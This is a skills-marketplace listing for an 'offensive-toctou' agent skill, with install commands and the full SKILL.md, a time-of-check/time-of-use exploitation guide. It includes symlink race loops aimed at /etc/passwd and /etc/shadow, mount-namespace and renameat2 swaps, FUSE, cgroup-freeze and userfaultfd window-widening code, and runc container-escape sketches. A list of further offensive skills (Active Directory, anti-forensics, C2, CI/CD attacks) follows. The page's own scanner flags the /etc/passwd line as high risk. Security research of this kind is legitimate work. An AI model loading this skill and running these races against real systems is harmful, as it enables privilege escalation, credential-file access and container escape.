Mmcp.market

offensive-toctou skill

by SnailSploit·SnailSploit/Claude-Red·7.0k stars·MIT

Time-of-Check / Time-of-Use (TOCTOU) race condition exploitation methodology across binary, kernel, filesystem, web, and container layers. Covers symbolic-link races (open/access/stat split), file-descriptor races, fopen/realpath traversal races, /proc and procfs races, FUSE-backed slow-fs races to widen the window, ptrace and signal races, kernel double-fetch / userspace pointer races, container/runc/symlink escape primitives, kubernetes admission/authz TOCTOU, web auth-vs-authz TOCTOU, JWT-claim TOCTOU at gateway vs service, payment/idempotency races, and modern race-amplification techniques (single-packet attack, slow loris, FUSE pause, cgroup freeze, scheduler shaping). Use when you've identified a 'check then act' pattern in code, when fuzzing for race conditions, or when exploiting concurrency bugs in privileged binaries / kernel / orchestrators.

C70/100content scan

Is the offensive-toctou skill safe?

Read the findings before you install it. We read 1 file in the folder on 2026-09-28.

  • highSKILL.md:46

    Reads credential files (SSH keys, cloud or package-manager tokens) that a skill has no normal reason to touch.

    ln -sf /etc/passwd /tmp/.attacker/output 2>/dev/null

Install the offensive-toctou skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.

git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git /tmp/Claude-Red
mkdir -p ~/.claude/skills
cp -r /tmp/Claude-Red/Skills/exploit-dev/offensive-toctou ~/.claude/skills/offensive-toctou
available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

TOCTOU — Time-of-Check / Time-of-Use Exploitation

A TOCTOU bug exists wherever code checks a property (file owner, path target, token validity, balance) and then acts on it as if the property still holds. Between check and use is a window — your job is to widen it and swap the underlying object.

Quick Workflow

  1. Identify the check (syscall, function, validation step) and the use (the privileged action)
  2. Confirm the check and use don't operate on the same kernel object (FD, inode, atomic snapshot)
  3. Build a primitive that swaps the object between check and use (symlink, mount, mv, parallel request)
  4. Widen the window with FUSE, slow filesystems, scheduler tricks, or single-packet HTTP/2
  5. Run a tight loop and confirm the post-use state corresponds to the swapped target

The Core Pattern

// Vulnerable
if (access(path, W_OK) == 0) {     // check  — resolves "path" now
    fd = open(path, O_WRONLY);     // use    — re-resolves "path" later
    write(fd, attacker_data, n);
}

Between access and open, an attacker replaces path with a symlink to /etc/shadow. The check sees an attacker-owned file; the use opens shadow as root.

The fix is always: operate on the kernel object, not the path. Use ONOFOLLOW, openat with ATSYMLINK_NOFOLLOW, fstat on the FD, etc.

Filesystem TOCTOU

Symlink Swap (Classic)

# Setup target — privileged binary that writes to user-supplied path after access() check
victim --output /tmp/.attacker/output

# Race loop
while true; do
  ln -sf /etc/passwd /tmp/.attacker/output 2>/dev/null
  ln -sf /tmp/.attacker/legit /tmp/.attacker/output 2>/dev/null
done &

# Run victim repeatedly
while true; do victim --output /tmp/.attacker/output; done

renameat2(RENAME_EXCHANGE) — Atomic Single-Frame Swap

syscall(SYS_renameat2, AT_FDCWD, "good", AT_FDCWD, "bad", RENAME_EXCHANGE);

RENAME_EXCHANGE swaps two paths atomically — combined with FUSE-paused dir lookups, this is a near-deterministic primitive on Linux ≥ 3.15.

Directory Swap (mv between two prepared trees)

When the victim resolves parent/file, swap parent itself:

mv good_dir parent && mv evil_dir parent_was_good_dir
# If victim is mid-resolution of `parent/file`, dir cache may pin one side

Bind Mount / Mount-Namespace Swap (root-only or in user-ns)

unshare -mUr
mkdir /tmp/x /tmp/y
echo benign > /tmp/x/file
mount --bind /etc/shadow /tmp/y/file
# Then: while true; do mount --move /tmp/x /tmp/m; mount --move /tmp/y /tmp/m; done

In containerized contexts with CAPSYSADMIN in a user namespace, this is the foundation of multiple runc/CVE escape chains.

Window-Widening Primitives

The race is always winnable in theory; in practice you need the window large enough for your swap.

FUSE-Backed Slow Filesystem

Mount a FUSE filesystem you control. When the victim does open or stat, your handler sleeps:

# fusepy
class SlowFS(Operations):
    def getattr(self, path, fh=None):
        if path == '/trigger':
            time.sleep(5)   # stretch the check
        return os.lstat(self.root + path).__dict__

Now the check call inside the victim blocks for 5 seconds — plenty of time to swap the post-check filename.

Userfaultfd (kernel-level page faults)

// Register a userfault region; when the victim reads the user-controlled buffer,
// pause it in the page-fault handler, swap data, then resume.
ioctl(uffd, UFFDIO_REGISTER, &reg);

userfaultfd can pause a kernel-side copyfromuser mid-read, enabling double-fetch wins. Linux ≥ 5.11 requires vm.unprivileged_userfaultfd=1 (off by default in many distros).

Cgroup Freeze

mkdir /sys/fs/cgroup/race
echo $victim_pid > /sys/fs/cgroup/race/cgroup.procs
echo 1 > /sys/fs/cgroup/race/cgroup.freeze   # pause
# swap files
echo 0 > /sys/fs/cgroup/race/cgroup.freeze   # resume

Single-CPU Pinning + sched_yield

cpu_set_t set; CPU_ZERO(&set); CPU_SET(0, &set);
sched_setaffinity(victim_pid, sizeof(set), &set);
// Race threads on same CPU — context switch is the only progress unit

Kernel Double-Fetch

A kernel function reads the same userspace location twice; an attacker mutates it in between using userfaultfd or another thread.

// Vulnerable kernel pattern
copy_from_user(&size, &user_arg->size, 4);   // first fetch
if (size > MAX) return -EINVAL;
copy_from_user(buf, user_arg->data, size);   // size re-fetched? Or from local? Check carefully.

Tooling: KFENCE, Bochspwn-Reloaded, DECAF — fuzzers and analyzers that detect double-fetches.

/proc and procfs Races

/proc/pid/exe + ptrace

/proc//exe is a magic symlink. If a privileged binary opens it after fork+exec, an attacker can race the exec to point exe at attacker-controlled binary on a slow filesystem. Foundation of CVE-2019-5736 (runc).

// Sketch
fd = open("/proc/self/exe", O_RDONLY);  // by attacker, in container
// Then the host runc opens /proc/<pid>/exe to write — opens *attacker's* exe → host RCE

/proc/pid/mem

open("/proc/pid/mem") followed by lseek+write historically bypassed write protections. Modern kernels enforce ptrace credentials at write time, but legacy or patched-out checks still exist in embedded kernels.

/proc/pid/cwd / fd / root

Symlinks resolve at deref time using the target task's namespace. Cross-namespace deref of /proc/pid/root/etc/shadow from a sibling container is a recurring vuln class.

Setuid Binary TOCTOU

// Vulnerable flow in classic SUID binary
if (!access(file, R_OK)) {       // check with real UID via access()
    fd = open(file, O_RDONLY);   // open with effective UID = root
    sendfile(stdout, fd, ...);
}

Symlink swap between access and open makes the binary read root-readable files for unprivileged users.

Rule of thumb when reviewing setuid/setgid binaries: every path appearing twice in a syscall trace is a candidate.

strace -f -e openat,access,stat,lstat,readlink ./suid_binary 2>&1 | grep "$user_input"
# Multiple resolutions of the same user-controlled path = TOCTOU surface

Container Escape via TOCTOU

CVE-2019-5736 (runc) — /proc/self/exe Overwrite

When a container runs docker exec, runc opens /proc/self/exe from the host. By replacing the in-container binary with a symlink to /proc/self/exe, the host runc rewrites itself.

CVE-2024-21626 (runc "Leaky Vessels") — Working-Directory FD Leak

A leaked file descriptor to the host filesystem could be inherited via WORKDIR /proc/self/fd/ — the container's first process held a host FD, races on namespace setup let it act on host paths.

Symlink-on-Mount Race

When the runtime resolves a bind-mount source/target path (e.g. for tmpfs setup), a fast attacker swaps a directory in the path with a symlink to /. Common in Kubernetes hostPath, Docker volumes, OpenShift SCC bypasses.

Web / API TOCTOU

Auth vs Authz Split at Gateway

Gateway: validates JWT (signature, exp) → forwards to service
Service: trusts gateway's "X-User-Id" header

More skills from SnailSploit/Claude-Red

  • Aoffensive-active-directoryActive Directory attack methodology for internal network red team engagements. Covers reconnaissance (BloodHound, PowerView, ADExplorer), credential abuse (Kerberoasting, ASREProasting, NTLM relay, LLMNR/NBT-NS poisoning), privilege escalation (ACL abuse, GPO abuse, unconstrained/constrained delegation), lateral movement (Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash, WMI/WinRM/PsExec), persistence (Golden/Silver/Diamond Tickets, DCSync, DCShadow, AdminSDHolder, Skeleton Key), forest trust attacks, ADCS abuse (ESC1-ESC15), and modern MDI/Defender for Identity evasion. Use when assessing on-prem AD, hybrid AD/Entra ID environments, or ADCS deployments.
  • Aoffensive-advanced-redteamComprehensive red team operations methodology covering full engagement lifecycle from planning through reporting. Addresses engagement scoping and rules of engagement negotiation, multi-tier C2 infrastructure design with redirectors and domain fronting, malleable traffic profiles and beacon tradecraft, OPSEC discipline including attribution avoidance and indicator management, EDR and AMSI evasion techniques using direct syscalls and unhooking, data collection with chain-of-custody controls, and structured reporting with purple team debrief workflows. Covers assumed-breach, external-to-internal, insider threat, and hybrid physical-cyber engagement scenarios with MITRE ATT&CK mapping throughout. Targets operators planning or executing adversary simulation engagements against mature defenders.
  • Coffensive-ai-security
  • Aoffensive-anti-forensicsAnti-forensics and evidence destruction techniques for red team operators conducting authorized engagements. Covers log clearing on Windows (wevtutil, Clear-EventLog, ETW provider patching) and Linux (journal truncation, utmp/wtmp binary editing, syslog manipulation), timestamp manipulation via Timestomp and SetMACE to defeat timeline analysis, filesystem-level anti-forensics including NTFS Alternate Data Streams for payload hiding and secure deletion with sdelete/shred, memory artifact removal to counter live forensics, disk artifact manipulation targeting MFT entries and USN journal records, network forensics evasion through encrypted C2 channels and DNS-over-HTTPS tunneling, and anti-VM/sandbox detection to avoid dynamic analysis environments. Tools: Timestomp, wevtutil, sdelete, shred, MimiPenguin, Invoke-Phant0m. Aligns to MITRE ATT&CK T1070 (Indicator Removal), T1027 (Obfuscated Files or Information), T1497 (Virtualization/Sandbox Evasion). Each technique includes the forensic artifact it targets, the destruction or manipulation method, and the defender perspective so operators understand detection gaps they must account for.
  • Aoffensive-api-abuseAdvanced API exploitation methodology focused on business logic abuse and sophisticated attack patterns that bypass traditional security controls. Covers business logic bypass through API call chaining and workflow manipulation. Addresses GraphQL-specific attacks including batching for credential brute-force, query depth exploitation, and introspection abuse. Includes pagination exploitation for data exfiltration, webhook hijacking for SSRF and data interception, and resource exhaustion through algorithmic complexity attacks. Covers race conditions in API transactions using parallel request techniques. Provides comprehensive JWT manipulation including algorithm confusion, kid injection, jku/x5u abuse, and claim tampering. Details API key leakage detection across source repositories, client-side code, and error messages. Covers undocumented endpoint discovery through predictable naming, debug routes, and source map analysis. Tooling includes Arjun, ParamSpider, jwt_tool, and GraphQL Voyager. Designed for authorized penetration testers targeting business logic layers that automated scanners miss.
  • Aoffensive-api-securityComprehensive API security testing methodology covering REST, gRPC, and WebSocket attack surfaces. Addresses the full OWASP API Security Top 10 2023 including BOLA/IDOR, broken authentication, excessive data exposure, rate limiting bypass, BFLA, mass assignment, SSRF, and security misconfiguration. Includes REST-specific attacks such as HTTP verb tampering, content-type switching, and parameter pollution. Covers gRPC exploitation through protobuf interception, reflection API enumeration, and metadata injection. Addresses WebSocket vulnerabilities including origin bypass, message injection, and cross-site WebSocket hijacking. Provides tooling guidance for Burp Suite, Postman, grpcurl, websocat, and mitmproxy. Each technique includes detection signatures and defensive indicators so you understand what artifacts your testing leaves behind. Designed for authorized penetration testing engagements against API-driven architectures.
  • Aoffensive-bluetooth-bleBluetooth Low Energy (BLE) attack methodology — GATT enumeration, characteristic read/write without auth, pairing downgrade (Just Works forced), LE Secure Connections bypass, MITM via active relay, sniffing with Sniffle (TI CC1352) / Ubertooth / Frontline, encryption key extraction (LE Legacy Pairing crackable, LE Secure Connections strong), proximity authentication abuse (cars, locks), and companion-app trust analysis. Use for IoT BLE devices, smart locks, fitness trackers, medical devices, BLE beacons, or any device pairing over BLE.
  • Aoffensive-bluetooth-classicBluetooth Classic (BR/EDR) attack methodology — device discovery, service enumeration via SDP, LMP/L2CAP layer attacks, legacy PIN cracking (BlueBorne / KNOB), Bluetooth file-transfer abuse (BlueSnarfing legacy), unauthenticated profile abuse (HSP, HFP, OPP), and modern relevance against older industrial / automotive / accessory targets. Use when in-scope devices use Bluetooth Classic (Bluetooth ≤ 4.0 BR/EDR) — common in legacy car kits, industrial sensors, older medical devices, and audio accessories.
  • Aoffensive-bug-identification
  • Aoffensive-business-logicBusiness logic vulnerability testing for web/mobile/API engagements. Covers workflow bypass, state machine violations, multi-step process abuse, price/quantity/discount manipulation, currency confusion, coupon stacking, refund/chargeback abuse, race conditions on logic boundaries, parameter tampering for hidden flows, role/tenant boundary violations, time-of-check vs use, anti-automation defeat, fraud-detection evasion, and subscription/quota abuse. Use when scoping an application after surface-level OWASP Top 10 has been covered, or when the asset is a transactional/marketplace/fintech/e-commerce/SaaS app where logic flaws produce direct financial impact.
  • Aoffensive-c2-frameworksCommand and Control framework deployment, configuration, and operational tradecraft for red team engagements. Covers Cobalt Strike (malleable C2 profiles, Beacon types HTTP/HTTPS/DNS/SMB, Beacon Object Files for in-memory execution, sleep and jitter tuning, named pipe pivoting), Sliver (implant generation across mTLS/WireGuard/DNS transport, operator multiplayer mode, armory extensions), Mythic (agent ecosystem with Apollo/Poseidon/Medusa, C2 profile configuration, translation containers), Havoc (Demon agent with sleep obfuscation via Ekko/Zilean, indirect syscalls, dotnet inline execution), Metasploit (msfvenom payload generation, multi/handler staging, Meterpreter post-exploitation modules), redirector architecture using Apache mod_rewrite and Nginx, domain fronting through CDN providers, DNS-based C2 for restrictive network egress, and TLS certificate management for infrastructure OPSEC. Tools: Cobalt Strike, Sliver, Mythic, Havoc, Metasploit Framework. Aligns to MITRE ATT&CK T1071 (Application Layer Protocol), T1573 (Encrypted Channel), T1090 (Proxy/Connection Proxy).
  • Doffensive-cicd-pipelineComprehensive CI/CD pipeline exploitation methodology covering GitHub Actions injection vectors (expression injection via PR titles and issue bodies, workflow_run event abuse, GITHUB_TOKEN over-scoping, composite action supply chain compromise), Jenkins attack paths (Groovy sandbox escapes, script console remote code execution, Java remoting deserialization, credential store dumping, shared library injection), GitLab CI exploitation (YAML anchor injection, runner registration token abuse, CI variable extraction, protected branch bypass via merge request pipelines), and Azure DevOps pipeline agent compromise with service connection theft. Includes artifact poisoning techniques across all platforms, tooling guidance for gato and jenkins-attack-framework, and maps to MITRE ATT&CK T1195.002 (Supply Chain Compromise: Compromise Software Supply Chain). Covers enumeration of pipeline configurations, privilege escalation from contributor to code execution, lateral movement through pipeline trust boundaries, and persistence via modified workflow definitions. Each technique section provides working exploitation code, detection indicators, and defensive countermeasures.

All agent skills → · MCP servers